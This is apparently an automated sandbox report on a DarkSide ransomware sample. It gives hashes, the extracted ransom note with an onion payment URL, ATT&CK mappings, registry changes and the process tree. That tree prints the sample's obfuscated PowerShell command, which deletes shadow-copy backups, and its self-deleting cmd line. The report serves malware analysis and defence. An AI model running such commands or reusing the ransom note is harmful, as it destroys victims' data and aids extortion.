darkside | 93cb3d33780673999559924e7df3f1d930ab9eda4ce61f8c6fed80547c8b7234

General

Target

485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Size

58KB
MD5

485b9fd90d99ec5e6683fa4448924da8
SHA1

744d07feeaa7cb10b11d5ec72418bd1ecbbba819
SHA256

93cb3d33780673999559924e7df3f1d930ab9eda4ce61f8c6fed80547c8b7234
SHA512

3734e195e9a9a73a5ae0b8daa88b62303da69a2734312448cf26d469c2a811e0ebe4bfd0b90f56e6bf1998d1b4baccece7811bcb78bec1f196819e289f45a0b6
SSDEEP

768:ZjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1ylvMpY23W58:Cx7Fu4/ihrhDTV1ylvMSZ58

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\README.795a92b9.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT When you open our website, put the following data in the input form: Key: 0kZdK3HQhsAkUtvRl41QkOdpJvzcWnCrBjjgg5U4zfuWeTnZR5Ssjd3QLHpmbjxjo7uWzKbt8qPVuYN38TsDPI3bemd5I40ksemIzuI5OhIHZsi9cn3Wpd7OUT72FP9MyAUzR586yMsI2Ygri9in0Bf4EkG0pmBOLyRG1T788foGJQW1WxS1Qd2sMVvX0jKlbGG1zLp7g0u6buDCzSMyTjWjuVzJYufBBv7S2XvciEVvboiTNbZA4UUU6PttKERQSb018aILd6xO3ulk6fbEgZDO5tZSGn2zRevn5YXnHtg6vt1ToLe3izQOgYbs8Ja1fkfJBUYVux1ITyWBjpn0xPayKfwln8SqgMkbqiDyxEDEtFhqiffLcONMhi4TmW50loZIC6mWSaOjThWp6XSJUWPtY8Mkzs8Cs0qjPahx58iAEVIRGUVpLkMs7xPN7ydZ6wMWaOcRC1AD1JEUVTjLikXXyckgYaS6FnEv0UNEsv6QbTLSpDomIg3rEYZBib6ozrwH5n0M5wrKo8NciUBmfJWDP4XKkjznpsa05rEpuAklM0dMmZsYGVR !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (149) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-618519468-4027732583-1827558364-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\795a92b9.BMP"	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-618519468-4027732583-1827558364-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\795a92b9.BMP"	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-618519468-4027732583-1827558364-1000\Control Panel\Desktop\WallpaperStyle = "10"	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe

Modifies registry class 5 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.795a92b9\ = "795a92b9"	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\795a92b9\DefaultIcon	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\795a92b9	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\795a92b9\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\795a92b9.ico"	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.795a92b9	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2204	powershell.exe
2204	powershell.exe
2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Token: SeSecurityPrivilege	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Token: SeTakeOwnershipPrivilege	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Token: SeLoadDriverPrivilege	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Token: SeSystemProfilePrivilege	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Token: SeSystemtimePrivilege	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Token: SeProfSingleProcessPrivilege	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Token: SeIncBasePriorityPrivilege	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Token: SeCreatePagefilePrivilege	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Token: SeBackupPrivilege	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Token: SeRestorePrivilege	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Token: SeShutdownPrivilege	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Token: SeDebugPrivilege	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Token: SeSystemEnvironmentPrivilege	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Token: SeRemoteShutdownPrivilege	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Token: SeUndockPrivilege	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Token: SeManageVolumePrivilege	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Token: 33	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Token: 34	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Token: 35	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Token: 36	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
Token: SeDebugPrivilege	2204	powershell.exe
Token: SeBackupPrivilege	352	vssvc.exe
Token: SeRestorePrivilege	352	vssvc.exe
Token: SeAuditPrivilege	352	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2844 wrote to memory of 2204	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe	82
PID 2844 wrote to memory of 2204	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe	82
PID 2844 wrote to memory of 5168	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe	94
PID 2844 wrote to memory of 5168	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe	94
PID 2844 wrote to memory of 5168	2844	485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe	94

C:\Users\Admin\AppData\Local\Temp\485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe
"C:\Users\Admin\AppData\Local\Temp\485b9fd90d99ec5e6683fa4448924da8_darkside_JC.exe"
1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2204
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\485B9F~1.EXE >> NUL
  2⤵
  PID:5168

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:352

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2247453c28acd1eb75cfe181540458a8

SHA1
851fc5a9950d422d76163fdc6a453d6859d56660

SHA256
358b8df2d92a70274c5ec8e50bf6353c37a7fe1855fd9659f610f8a96eac19bd

SHA512
42475e640ee70ab4bd7350dbd970c5862f1597918b6a5e3ee038a10a5c5b883ac61038ecec51a7bfe7cb615798d832fae4a3ead9571f35825a644dee1f2dd7d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i5p0yie5.22d.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\README.795a92b9.TXT

Filesize
1KB

MD5
65494ea6831e577d82fac2b91b9c3d43

SHA1
5c23717d22ee9b94306f2d5a2a53c60aca03eb8c

SHA256
5e98b41a51606e16dda30ad4a49457227f75d71ad2004e2942c6b8de6202c4f3

SHA512
28ba13f7793ac8271af03b26eaeba6cbe707bf1f07fb1792818a6ab270d1c20d0091ef4a10c092f60c373aefe09698d2b470ec6a7f8cfa47103fd8bbb8d7a7bb

Download Submit
memory/2204-142-0x0000017ABD030000-0x0000017ABD052000-memory.dmp

Filesize
136KB

Download
memory/2204-147-0x00007FF8F5D30000-0x00007FF8F67F1000-memory.dmp

Filesize
10.8MB

Download
memory/2204-148-0x0000017AA2980000-0x0000017AA2990000-memory.dmp

Filesize
64KB

Download
memory/2204-149-0x0000017AA2980000-0x0000017AA2990000-memory.dmp

Filesize
64KB

Download
memory/2204-152-0x00007FF8F5D30000-0x00007FF8F67F1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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